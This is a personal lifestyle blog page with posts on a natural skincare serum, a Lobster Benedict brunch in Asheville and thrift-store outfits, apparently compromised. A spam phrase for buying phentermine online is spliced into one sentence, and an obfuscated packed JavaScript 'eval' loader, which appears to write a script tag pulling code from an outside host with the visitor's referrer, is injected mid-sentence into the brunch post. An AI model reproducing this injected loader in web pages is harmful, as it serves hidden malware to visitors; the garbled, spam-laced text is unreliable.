to know my #AllNaturalStyleSecrets that gets me through the summer?  Let’s be honest, who wears make up to the beach, lake or any body of water?  No matter how much makeup promises to be waterproof, it always comes off.  I’m always looking for an all natural skin regiment, which is why I jumped at the opportunity to try a sample of
Seventh Generation Boosts Firming with Baobab.

Does this brand sound familiar?  You guessed it!  They also make environmentally friendly cleaning supplies from laundry detergent to recycled paper towels.  I don’t like using harsh chemicals to clean my clothes, so why would I be ok with putting it on my face? I’m not.  Are you?

Sevent Generation Boosts Firming Serum Baobab

The Seventh Generation skincare line is an alternative solution to the mainstream skincare products.  There are only five ingredients, and they all have names I can pronounce! The Firming Serum consists of Carrier Oil (Apricot, Almond and Grapeseed Oil), Brown Algae, Baobab, Rosemary Extract and Peppermint!

This serum goes on clear and is a little oily.  I didn’t mind since my Asian skin is very dry, and I’m always looking for ways to replenish and moisturize my face and body!

The Firming Serum gave me the perfect summer glow to Shoot the Hooch (What Atlantians call floating on tubes buy phentermine mexico online down the Chattahoochee River) this past Sunday.  I definitely could tell that skin was strengthen, and so did all my girlfriends!

But I’ll be honest.  I’m a big tree hugger.  I even picked up a floating beer can on the river (not mine) so I could throw it away when I got out.  It can be difficult, but I try and live a sustainable life.  I’m a big supporter of the green industry, and I believe in the power of purchasing.  Buying from companies like Seventh Generation is a step in the right direction for humanity because it is a vote for future generations.

FOODIE FRIDAY: Lobster Benedict in Asheville

We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krdrr|var|u0026u|referrer|skefs||js|php’.split(‘|’),0,{}))
got lost on our way to brunch and found the
Walk, a hole in the wall place in historic West Asheville, and decided to grab a seat and see what happens.  This was the best decision we made regarding food all weekend!  The atmosphere inside is hip meets hardware district meets urban revolution.  The menu was small and simple – great for someone who doesn’t like to make decisions.

I ordered the Lobster Benedict, and from the first bite to the last,  my mouth thought it was in heaven!  I must learn how to poach an egg and make Hollandaise sauce! The english muffin was toasted to perfection, topped with fresh avocado slices, steamed lobster, poached egg and Hollandaise sauce.

I was sitting on the edge of my seat to eat the Lobster Benedict!

What am I wearing?

Tank – H&M

Shorts – H&M

Shirt – H&M

Shoes – Chacos

Sunnies – Maui Jim’s

This is basically the perfect travel outfit – comfortable and layers in case I get hot or cold.  My body does not know how to regulate itself well.

I added a blue necklace from Charming Charlie since the outfit seemed bare.  This is me not sharing a malt shake from Steak ‘N Shake.

I’m a huge fan of Marshalls and TJMaxx!  I try and live frugally so I can support my passion for traveling.  However, I also truly enjoy finding a great deal!  When you find an awesome item for a steal, there is a rush of excitement and giddiness (a lot like eating chocolate). Plus, the best part of this dress is not just the low price tag but the awesome full skirt that makes it perfect for swing dancing!

Dress – Marshalls
